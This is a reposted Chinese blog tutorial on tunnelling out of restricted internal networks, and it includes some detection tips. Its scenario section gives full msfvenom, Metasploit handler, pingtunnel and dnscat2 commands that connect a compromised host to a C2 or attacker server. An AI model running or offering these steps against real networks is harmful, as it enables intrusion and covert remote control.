轉載自 https://blog.csdn.net/weixin_44604541/article/details/118305353
前言
本文試圖學習整理內網穿透(隧道)技術
一、內網穿透概述
1、定義
(1)內網穿透
利用各種隧道技術,以網絡防火牆允許的協議,繞過網絡防火牆的封鎖,實現訪問被封鎖的目標網絡
需要考慮的點:
- 能出網,通過允許的協議或一些旁門
- 隱蔽,被發現了那就涼了呀
- 穩定,關鍵時刻不能出問題
- 限制少,需要的條件越少越好
- 覆蓋面廣,跟上一條其實有點關聯,主要考慮使用場景越多越好
(2)隧道技術
一種通過使用互聯網絡的基礎設施在網絡之間傳遞數據的方式,包括數據封裝、傳輸和解包在內的全過程。使用隧道傳遞的數據(或負載)可以是不同協議的數據幀或包。
- 封裝:隧道協議將這些其他協議的數據幀或包重新封裝在新的包頭中發送。新的包頭提供了路由信息,從而使封裝的負載數據能夠通過互聯網絡傳遞
- 傳輸:被封裝的數據包在隧道的兩個端點之間通過公共互聯網絡進行路由。被封裝的數據包在公共互聯網絡上傳遞時所經過的邏輯路徑稱為隧道
- 解包:一旦到達網絡終點,數據將被解包並轉發到最終目的地
按所處的協議層分層:
-
網絡層隧道:ICMP隧道等
-
傳輸層隧道:TCP隧道、UDP隧道
-
應用層隧道:HTTP、DNS、SSH等隧道
歷史可參考:https://cloud.tencent.com/developer/article/1832949?from=article.detail.1419096
2、內網主機所有可能的出網方式
(1)允許ICMP協議出網
網絡防火牆允許ICMP協議出網,即能ping通外網主機,一般都能出網:
-
Windows系統默認傳輸32 bytes的數據,內容是固定的
abcdefghijklmnopqrstuvwabcdefghi
,ping包的大小是可以改變的,但是內容依舊不變,且請求和相應內容相同 -
Linux系統默認傳輸48 bytes的數據,頭信息比較復雜,但是末尾內容是固定
!”#$%&’()+,-./01234567
ICMP隱蔽隧道的原理:替換Data部分,利用客戶端程序進行接收並處理服務端發送的畸形的ICMP協議(主要是Request和Reply包)
檢測:
- 檢測同一來源 ICMP 數據包的數量。一個正常的 ping 每秒最多只會發送兩個數據包,而使用 ICMP隧道的瀏覽器在同一時間會產生上千個 ICMP 數據包。
- 尋找那些響應數據包中 payload 跟請求數據包不一致的 ICMP 數據包。
- 注意那些 ICMP 數據包中 payload 大於 64 比特的數據包。當然 icmptunnel 可以配置限制所有數據包的 payload 為 64 比特,這樣會使得更難以被檢測到。
- 檢查ICMP數據包的協議標簽,例如icmptunnel 會在所有的 ICMPpayload 前面增加 ‘TUNL’ 標記以用於識別隧道,這就是特征。
(2)允許特定的TCP或UDP協議端口出網
網絡防火牆允許特定的TCP或者UDP端口出網,比如連接外網的22、53、80、443、3389等常見應用的默認監聽端口。
在一個不能出網的網絡環境里面,將所有的TCP和UPD端口都探測一遍,通常都能發現有一兩個常見的端口能出網。這通常是由於網絡管理員的錯誤配置和偷懶行為導致:
- 比如配置的防火牆規則前后矛盾,解析的時候遇到匹配規則就退出執行
- 比如網絡管理員配置允許web服務器訪問另一子網的mysql數據庫的3306端口。網絡管理員配置時偷懶,可能會直接放行web服務器到任意ip地址的3306端口
(3)允許特定的應用層協議出網(比如HTTP、SSH、DNS等應用層協議)
這種網絡防火牆能識別應用層的協議,放行允許出網的協議,比如HTTP、SSH、DNS、RDP等應用層協議
1、DNS隧道
原理:配置某個域名的NS服務器,使得對該域名的所有子域解析請求最終到達該NS服務器上,然后將另一個協議的數據編碼為一系列DNS查詢,響應時客戶端將返回的Response數據進行解碼得到另一協議的數據
特征:
- DNS隧道建立后依靠不斷發送query信息來判斷隧道存活性
- 通過DNS隧道傳輸時,客戶端將數據編碼后作為主機名向DNS服務器提交,DNS服務端解碼后讀取數據
檢測:
- 每個IP地址的DNS流量異常,DNS報文數量大
- DNS消息中TXT或NULL等不常用的記錄類型多
- DNS消息中域名有部分固定不變
- DNS服務器的地理位置異常
- 訪問非受信的DNS服務器
- 基於請求域名長度及請求頻率統計分析方法
- dnscat 查詢中包含了dnscat 字符串
一些應用:
- Trojan.Win32.Ismdoor.gen:使用了多層C&C通信協議結構,使用了DNS隧道技術,C&C服務器的命令會被協議為IPv6地址
- Backdoor.Win32.ClIEcker:允許惡意程序從服務器接收隨機類型的DNS數據包,該木馬沒有邏輯上的子協議,只有發送和接收數據包的請求
- Backdoor.Win32.Denis:該惡意程序只使用一個DNS格式的數據包與DNS服務器通信,這種格式匯總,回應的大小被限制為只有4個字節,這只是一個常規的木馬下載器,而且下載文件的速度很慢
- PlugX遠控變種: 該后門木馬結合DNS隧道傳輸技術和PlugX遠控程序,通過建立的DNS隧道進行攻擊控制。利用DNS請求應答機制作為攻擊滲透的命令控制通道,把C&C服務器指令封裝到DNS相應報文中,以此控制被控端主機。並且依托DNS協議的特性,該木馬可以有效穿透防火牆,躲避常規的安全檢測
- 2016年5月,Palo Alto曝光了一起APT攻擊,Webky團隊利用DNS請求應答作為攻擊滲透的命令控制通道。攻擊者把CC服務器的指令封裝在DNS響應報文里
- 2017年3月,思科Talos團隊發現一起名為DNSMessenger的攻擊,該惡意軟件的所有命令與控制通信都經過DNS TXT類型查詢和響應。以此來躲避檢測
可參考:https://zhuanlan.zhihu.com/p/33539224
2、HTTP隧道
原理:通過HTTP協議與代理服務器建立連接,協議信令中包含要連接到的遠程主機的IP和端口,如果有需要身份驗證的話還需要加上授權信息,服務器收到信令后首先進行身份驗證,通過后便與遠程主機建立連接,連接成功之后會返回給客戶端200,表示驗證通過。此外HTTP隧道是沒有進行加密的,不安全的,一般再嵌套一個SSH安全隧道
CONNECT 124.xxx.xxx.xx:443 HTTP/1.1 //建立http隧道要443端口
Proxy-Connection: Keep-Alive //客戶端到服務器端的連接持續有效
Content-Length: 0
Host: 124.xxx.xxx.xx //主機地址
Proxy-Authorization:Basic YTph //身份驗證信息
User-Agent: OpenFetion //可以標識請求者的信息,如什么瀏覽器類型和版本、操作系統、使用語言等信息
- 1
- 2
- 3
- 4
- 5
- 6
可參考:https://www.cnblogs.com/ready-gogo/p/12498388.html
3、端口映射和端口轉發
端口映射和端口轉發其實是一回事,原理是一樣的,由於應用場景不同,才產生了不同的含義
(本節內容 from 七夜師傅)
(1)端口映射
端口映射的使用,以下圖為例,這是一個在滲透測試中,比較常見的場景:
- 一個hacker通過掃描暴露到公網中的主機A ,主機A開放了一些敏感端口,而且是弱口令,導致主機A被hacker完全控制。
- 接着hacker就想往公司內網中滲透,通過在主機A監控流量或者掃描的方式,發現了主機B,但是主機B只能由主機A進行訪問,開放了80端口,而且沒有公網IP。
- 如果hacker想直接訪問主機B的 80端口,對上面的Web服務進行繼續滲透,這就需要進行端口映射,讓hacker可以遠程連接到80端口。
從上圖場景中看,端口映射是將內網主機B的80端口映射到了具有公網IP的主機A上,本質上是將一個本來無法訪問的端口映射到可以訪問的IP上了
(2)端口轉發
端口轉發又是另外一個場景,在滲透測試中,也很常見。如下圖所示:
- hacker位於主機A,主機A可能是個人電腦,也可能是hacker控制的主機。
- hacker通過發送惡意郵件的方式給主機B,主機B的用戶點開郵件,運行惡意木馬導致主機B被感染,就成了我們俗稱的“肉雞”。雖然已經有木馬運行在主機B中,但是由於主機B不在公網中,hacker無法訪問到主機B。
- 主機B運行着ssh服務,開放着22端口,hacker如果想在主機A上直接連接主機B的22端口,執行shell命令,這就需要端口轉發。
這就需要一台主機C,一個公網的VPS(去阿里雲或者騰訊雲買)
- 木馬的服務端運行在主機C,同時監聽兩個端口 port1 與port2
- 木馬的客戶端運行在主機B,分別主動連接主機B的22端口和主機C的port2
- hacker只需要主動連接主機C的port1,這樣就打通了到主機B 22端口的線路
二、隧道工具
1、網絡層隧道工具
(1)icmpsh
github:https://github.com/bdamele/icmpsh
能通過ICMP協議反彈cmd,功能單一,反彈回來的cmd極不穩定,不推薦使用
可參考:https://www.freebuf.com/news/210450.html
(2)icmptunnel
github:https://github.com/DhavalKapil/icmptunnel
創建虛擬網卡通過ICMP協議傳輸網卡流量,基於ICMP隧道的vpn,需要root權限,動靜極大,不推薦使用
(3)pingtunnel
github:https://github.com/esrrhs/pingtunnel
TCP、UDP、socks5 over ICMP,速度快,連接穩定,跨平台,client模式不需要管理員權限即可正常使用,推薦使用
2、傳輸層隧道工具
(1)netcat
官網:https://eternallybored.org/misc/netcat/
網絡工具中的瑞士軍刀,不多介紹,linux系統一般自帶
(2)powercat
github:https://github.com/besimorhino/powercat
powershell版的netcat
(3)socat
github:https://github.com/erluko/socat
具有記錄轉發流的功能,方便查看轉發內容,需要安裝
(4)netsh
官網:https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts
windows系統自帶的網絡配置工具
(5)lcx
github:https://github.com/windworst/LCX
基於socket套接字實現的端口轉發工具,從linux下的htran移植給Windows的
//內網機器10.0.0.1的3389端口,轉發到公網9000端口
lcx.exe -slave 192.168.1.161 9000 10.0.0.1 3389
//公網機器192.168.1.1,將本機端口9000上監聽的所有數據轉發到本機5555上
lcx.exe -listen 9000 5555
- 1
- 2
- 3
- 4
- 5
(6)NATBypass
github:https://github.com/cw1997/NATBypass
一款lcx在golang下的實現,更好的跨平台,更完善的文檔
(7)iox
github:https://github.com/EddieIvan01/iox
端口轉發 & 內網代理工具,功能類似於lcx/ew,簡化了命令行參數,支持UDP流量轉發,更好的跨平台
缺點:不支持監聽指定IP,默認監聽0.0.0.0:port
,會增大暴露風險
(8)frp
github:https://github.com/fatedier/frp
用Go寫的,支持TCP和UDP,以及HTTP和HTTPS協議,同時也支持P2P,仍在持續更新
3、應用層隧道工具
由於應用層協議極多,對應的隧道工具也很多,我們常用來做隧道的協議一般是DNS、HTTP、SSH、SOCKS等
(1)dnscat2
github:https://github.com/iagox86/dnscat2
IP over DNS通過 DNS 協議創建加密的命令和控制 (C&C) 通道,看起來厲害極了
可參考:
- https://cloud.tencent.com/developer/article/1474644?from=article.detail.1552172
- https://cloud.tencent.com/developer/article/1419096
(2)dnscat2-powershell
github:https://github.com/lukebaggett/dnscat2-powershell
dnscat2的powershell客戶端
(3)dns2tcp
github:https://github.com/alex-sector/dns2tcp
TCP over DNS,即通過DNS隧道轉發TCP連接,沒有加密。采用直連,但速度不是特別樂觀,優勢在於kali直接集成了這個工具,部分linux發行版也都可以直接通過包工具下載,相對方便
可參考: https://cloud.tencent.com/developer/article/1552172?from=article.detail.1419096
(4)iodine
github:https://github.com/yarrick/iodine
IPv4 over DNS,即通過DNS隧道轉發IPv4數據包,在編碼,請求類型上提供了更豐富的選擇,而且在速度方面更快
可參考: https://cloud.tencent.com/developer/article/1552172?from=article.detail.1419096
(5)reGeorg
github:https://github.com/sensepost/reGeorg
SOCKS over HTTP,即通過HTTP隧道轉發SOCKS,用Python寫的,基於Python2.7和urllib3,上傳一個Tunnel腳本,然后遠程連接轉發端口即可建立socket代理隧道
- 對於aspx的網站假如總是報錯,可以嘗試ashx腳本
- PHP程序確認php.ini中socket模塊正常開啟並且可用,reGeorge也提供了nosocket腳本
- linux下利用proxychains,Windows下利用proxifier實現任意應用通過代理
- 假如綁定某些端口會遇到socket無法建立連接時,嘗試着利用80、53等穿透性強的端口
(6)Neo-reGeorg
github:https://github.com/L-codes/Neo-reGeorg
重構版reGeorg,提高穩定性和可用性,避免特征檢測,更新活躍
根據作者說法:
- 傳輸內容經過變形 base64 加密,偽裝成 base64 編碼
- 直接請求響應可定制化 (如偽裝的404頁面)
- HTTP Headers 的指令隨機生成,避免特征檢測
- HTTP Headers 可定制化
- 自定義 HTTP 響應碼
- 多 URL 隨機請求
- 服務端 DNS 解析
- 兼容 python2 / python3
- 服務端環境的高兼容性
- (僅 php) 參考 pivotnacci 實現單 Session 創建多 TCP 連接,應對部分負載均衡場景
- aspx/ashx/jsp/jspx 已不再依賴 Session,可在無 Cookie 等惡劣環境正常運行
- 支持內網轉發,應對負載均衡環境
(7)reDuh
github:https://github.com/sensepost/reDuh
TCP over HTTP,即通過HTTP隧道轉發TCP連接,隧道不穩定
(8)Tunna
github:https://github.com/SECFORCE/Tunna
TCP、SOCKS over HTTP,即通過HTTP隧道轉發TCP連接和SOCKS,隧道不穩定
(9)ABPTTS
github:https://github.com/nccgroup/ABPTTS
TCP over HTTP,即通過HTTP隧道轉發TCP連接
- 數據加密,可自定義HTTP數據
- 對抗特征檢測十分優秀
- 創建的隧道十分穩定
- 比較遺憾的是支持的web腳本類型只有aspx和jsp
(10)EarthWorm(EW)
官網:http://rootkiter.com/EarthWorm/
github:https://github.com/rootkiter/Binary-files
下載:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e
十分方便的多級SOCKS代理,已經永久停止更新,五種管道:
- ssocksd : 正向代理
- rssocks : 反向代理
- lcx_slave: 該管道一側通過反彈方式連接代理請求,另一側連接代理提供主機
- lcx_tran : 該管道通過監聽本地端口代理請求,並轉發給代理提供主機
- lcx_listen : 該管道通過監聽本地端口接收數據,並將其轉發給目標網絡回連的代理提供主機
(11)Termite
官網:http://rootkiter.com/Termite/
github:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e
EarthWorm的升級版,已經永久停止更新
(12)Venom
github:https://github.com/Dliv3/Venom/
Venom是一款基於ssh隧道,為滲透測試人員設計的使用Go開發的多級代理工具
據作者說:
- 可視化網絡拓撲
- 多級socks5代理
- 多級端口轉發
- 端口復用 (apache/mysql/…)
- ssh隧道
- 交互式shell
- 文件的上傳和下載
- 節點間通信加密
- 支持多種平台(Linux/Windows/MacOS)和多種架構(x86/x64/arm/mips)
(13)ssocks
github:https://github.com/54Pany/sSocks
正向和反向的socks工具,可執行文件的大小很小,支持socks5驗證,支持IPV6和UDP
(14)s5.go
github:https://github.com/ring04h/s5.go
go語言編寫的socks服務工具,良好的跨平台特性
(15)ssh
ssh本身可以用來做隧道,如果沒被限制的話
本地轉發:
ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
#ssh客戶端監聽127.0.0.1:7777, 將收到的tcp數據包通過連接到192.168.1.1的ssh隧道轉發到ssh服務端,再由服務端轉發到114.114.114.114:9999
- 1
- 2
遠程轉發:
ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
#ssh服務端監聽127.0.0.1:7777, 將收到的tcp數據包通過連接到192.168.1.1的ssh隧道轉發到ssh客戶端,再由ssh客戶端轉發到114.114.114.114:9999
- 1
- 2
動態轉發:
ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1
# ssh客戶端監聽127.0.0.1:7777開啟socks服務,將收到的socks數據包通過連接到192.168.1.1的ssh隧道轉發到ssh服務端,再由ssh服務端轉發到目標地址
- 1
- 2
構建ssh隧道的常用參數:
-C 壓縮傳輸,提高傳輸速度
-f 后台執行數據傳輸
-N 建立靜默連接
-g 允許遠程主機連接本地用於轉發的端口
-L 本地端口轉發
-R 遠程端口轉發
-D 動態轉發,即SOCKS代理
-p 指定ssh連接端口
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
三、內網穿透場景
1、上線零出網的內網主機
(1)背景
獲取了webshell的主機位於內網
- ICMP等網絡層協議不能出網
- TCP和UDP等傳輸層協議不能出網
- DNS、HTTP等應用層協議也不能出網
- 唯一的數據通道是反向代理入網的web應用
(2)方案
利用反向代理入網的web應用所在的HTTP連接,構建正向的TCP over HTTP隧道。通過這條隧道,我們可以向內網主機發起TCP連接。生成bind類型的payload,通過webshell上傳執行就會監聽一個端口,我們的遠控平台通過構建的TCP over HTTP隧道,去連接監聽的端口即可上線
能構建TCP over HTTP的隧道的工具有ABPTTS、Tunna、reDuh等,由於Tunna、reDuh構建的tcp連接不穩定,這里選用ABPTTS
(3)過程
1、上線metasploit
-
通過正向的HTTP隧道構建TCP連接
# 配置abptts運行環境 # 注意windows安裝pycrypto庫需要先安裝依賴http://aka.ms/vcpython27 pip install httplib2 pip install pycrypto
# 生成server端腳本
python abpttsfactory.py -o server# 上傳server端腳本到web服務器,客戶端運行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.10/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888# abptts客戶端監聽127.0.0.1:7777,通過http://192.168.168.10/abptts.aspx這個http隧道,將tcp連接127.0.0.1:7777轉發到web服務器網絡下的127.0.0.1:8888
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
-
生成bind類型的payload,通過webshell上傳執行
# 這里的rhost和lport是轉發的目的IP和端口 msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe
- 1
- 2
-
啟動msf監聽,等待meterpreter執行上線
#這里的rhost和lport是abptts客戶端監聽的IP和端口,msf所在主機必須能訪問到這個IP和端口,這里msf和abptts在同一個主機上
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run[] Started bind TCP handler against 127.0.0.1:7777
[] Sending stage (180291 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 127.0.0.1:7777) at 2020-04-27 04:50:25 -0400meterpreter > getuid
Server username: DESKTOP-0AH7FQ0\admin- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
2、上線cobaltstrike
由於cobaltstrike的bind類型的監聽器僅有beacon TCP和beacon SMB,並且都必須連接到父beacon,無法直接連接cobalstrike服務端,所以我們需要一個父beacon來中轉連接。
-
通過正向的http隧道構建tcp連接
# 配置abptts運行環境 # 注意windows安裝pycrypto庫需要先安裝依賴http://aka.ms/vcpython27 pip install httplib2 pip install pycrypto
# 生成server端腳本
python abpttsfactory.py -o server# 上傳server端腳本到web服務器,客戶端運行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.121/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888# abptts客戶端監聽127.0.0.1:7777,通過http://192.168.168.121/abptts.aspx這個http隧道,將tcp連接127.0.0.1:7777轉發到web服務器網絡下的127.0.0.1:8888
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
-
創建反向的listener
-
生成父beacon
-
上傳父beacon到abptts客戶端執行上線
-
創建payload為TCP beacon的listener
-
生成stageless的子beacon
-
將生成的子beacon通過webshell上傳執行
# 可以通過webshell查看網絡監聽,確保子beacon執行成功 netstat -ano | findstr 127.0.0.1:8888
- 1
- 2
-
在父beacon中連接ABPTTS的監聽IP和端口
-
成功上線不能出網的webshell內網主機
2、上線僅ICMP協議出網的內網主機
(1)背景
通過某種信道獲取了內網主機的shell,但是當前信道不適合做遠控的通信信道(比如站庫分離的網站,我們通過sql注入獲取了數據庫服務器的shell,但是數據庫服務器只有ICMP協議可以出網)
- TCP和UDP等傳輸層協議不能出網
- DNS、HTTP等應用層協議也不能出網
- 只有ICMP協議可以出網
(2)方案
ICMP協議可以出網,可以利用ICMP協議,構建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上線遠控平台。搭建隧道的工具使用pingtunnel,它能通過ICMP隧道轉發TCP、UDP、socks5連接
(3)過程
1、ICMP隧道轉發TCP上線metasploit
-
准備好一個具有公網IP的服務器,root權限運行以下命令,啟動ICMP隧道服務端
./pingtunnel -type server -noprint 1 -nolog 1
- 1
-
ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1 # 該命令的意思是icmp客戶端監聽127.0.0.1:9999,通過連接到icmpserver_ip的icmp隧道,將127.0.0.1:9999收到的tcp數據包轉發到c2_server_ip:7777
- 1
- 2
-
生成反向payload的meterpreter並上傳到ICMP隧道客戶端執行即可上線
msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe # 這里的lhost和lport為icmp客戶端監聽ip和端口
- 1
- 2
-
啟動msf監聽,等待meterpreter執行上線
# 這里的lhost和lport為icmp客戶端轉發到的ip和端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run[*] Started HTTPS reverse handler on https://0.0.0.0:7777
meterpreter > getuid
Server username: DESKTOP-test0\admin- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
2、ICMP隧道轉發socks上線metasploit
-
准備好一個具有公網IP的服務器,root權限運行以下命令,啟動ICMP隧道服務端
./pingtunnel -type server -noprint 1 -nolog 1
- 1
-
ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1 # 該命令的意思是icmp隧道客戶端監聽127.0.0.1:6688啟動socks5服務,通過連接到icmpserver_ip的icmp隧道,由icmpserver轉發socks5代理請求到目的地址
- 1
- 2
-
生成支持socks5代理的反向payload的meterpreter並上傳到ICMP隧道客戶端執行即可上線
msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe
- 1
-
啟動msf監聽,等待meterpreter執行上線
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf5 exploit(multi/handler) > set lhost 0.0.0.0 lhost => 0.0.0.0 msf5 exploit(multi/handler) > set lport 8443 lport => 8443 msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:8443
meterpreter > getuid
Server username: DESKTOP-test0\admin- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
3、ICMP隧道轉發TCP上線cobaltstrike
-
准備好一個具有公網IP的服務器,root權限運行以下命令,啟動ICMP隧道服務端
./pingtunnel -type server -noprint 1 -nolog 1
- 1
-
ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1 # 該命令的意思是icmp隧道客戶端監聽127.0.0.1:9999,通過連接到icmpserver_ip的icmp隧道,將127.0.0.1:9999收到的tcp數據包轉發到c2_server_ip:7777
- 1
- 2
-
cobaltstrike創建listener
https host和https port(c2)為ICMP隧道客戶端的監聽IP和端口
https port(bind)為轉發目的地址的端口
-
生成反向payload的beacon
-
上傳生成的beacon到ICMP隧道客戶端執行,成功通過反向ICMP隧道上線
4、ICMP隧道轉發socks上線cobaltstrike
-
准備好一個具有公網IP的服務器,root權限運行以下命令,啟動ICMP隧道服務端
./pingtunnel -type server -noprint 1 -nolog 1
- 1
-
ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1 # 該命令的意思是icmp隧道客戶端監聽127.0.0.1:6688啟動socks5服務,通過連接到icmpserver_ip的icmp隧道,由icmpserver轉發socks5代理請求到目的地址
- 1
- 2
-
cobaltstrike創建listener
這里的代理可以是socks或者HTTP,好像cobaltstrike不支持socks5代理,這里並不能成功上線
這里也可以使用HTTP代理,不過需要工具將HTTP代理轉為socks5代理,比如privoxy
-
選擇創建的listener生成beacon上傳到目標執行即可上線
3、上線僅DNS協議出網的內網主機
(1)背景
通過某種信道獲取了內網主機的shell,但是做了限制不跟外網通信
- TCP和UDP等傳輸層協議不能出網
- ICMP、HTTP等應用層協議也不能出網
- 只有DNS協議可以出網
(2)方案
DNS協議可以出網,只允許端口53的UDP流量,就不能通過TCP搭建隧道,這種情況下我們可以通過UDP搭建DNS隧道,具體實現是通過搭建一個DNS服務器委派的子域,這個子域因為是我們自己搭建的主機,這時候就可以通過這個子域用看起來厲害極了的dnscat2搭建DNS隧道,和網絡被限制的主機進行交互
(3)過程
1、購買域名並配置A記錄和NS記錄
- A記錄配置一個指向攻擊者VPS的IP。例如A記錄0,對應IP
108.x.x.216
- NS記錄配置你前面設置的A記錄,006.xxx.bio 對應0.xxx.bio.
- 安全組策略,出口和入口配置允許53端口,任意地址連接
0.0.0.0
2、測試是否解析到服務器
-
ping配置域名
-
ns記錄是否解析成功
-
在VPS服務器上進行抓包
tcpdump -n -i eth0 dst port 5
- 1
3、使用dnscat2
-
安裝dnscat2服務端,因為服務端是用ruby語言編寫的,所以需要配置ruby環境
apt-get install gem apt-get install ruby-dev apt-get install libpq-dev apt-get install ruby-bundler
# 從github上下載dnscat2,並編譯
apt-get insatll git
git clone https://githun.com/iagox86/dnscat2.git
cd dnscat2/server
bundle insatll- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
-
啟動服務端
ruby ./dnscat2.rb --dns "domain=localhost,host=127.0.0.1,port=53" --no-cache
- 1
-
啟動客戶端
dnscat2-v0.07-client-win32.exe --dns server=攻擊者的IP --secret=攻擊者服務器生成的ID
- 1
-
反彈shell
-
交互模式
輸入session命令可以查看當前控制的進程(每個連接都是獨立的進程)。輸入shell命令打開另一個會話,建立一個交互模式
結語
內網穿透的本質:通過各種通信信道,無論是正向的還是反向的,實現傳輸層協議TCP/UDP數據包的轉發,應用層協議都是基於傳輸層的協議實現的。比如ABPTTS + SOCKS服務 = reGeorg
內網滲透中的內網穿透的條件:能通過某種通信信道遠程代碼執行。如果能通過某種通信信道遠程代碼執行,一定可以通過這種通信信道實現TCP/UDP 數據包的轉發,即TCP/UDP over something隧道。如果沒有現成的工具,可能需要我們自己開發。比如,通過sql注入獲取了shell,我們也可以利用這條通信信道轉發TCP/UDP 數據包,沒有現成的工具,需要我們開發工具而已,隧道客戶端將TCP/UDP 數據包封裝寫進數據庫,再由隧道服務端從數據庫中讀出封裝的數據包解包,發往對應地址即可
一些有意思的東西:
參考: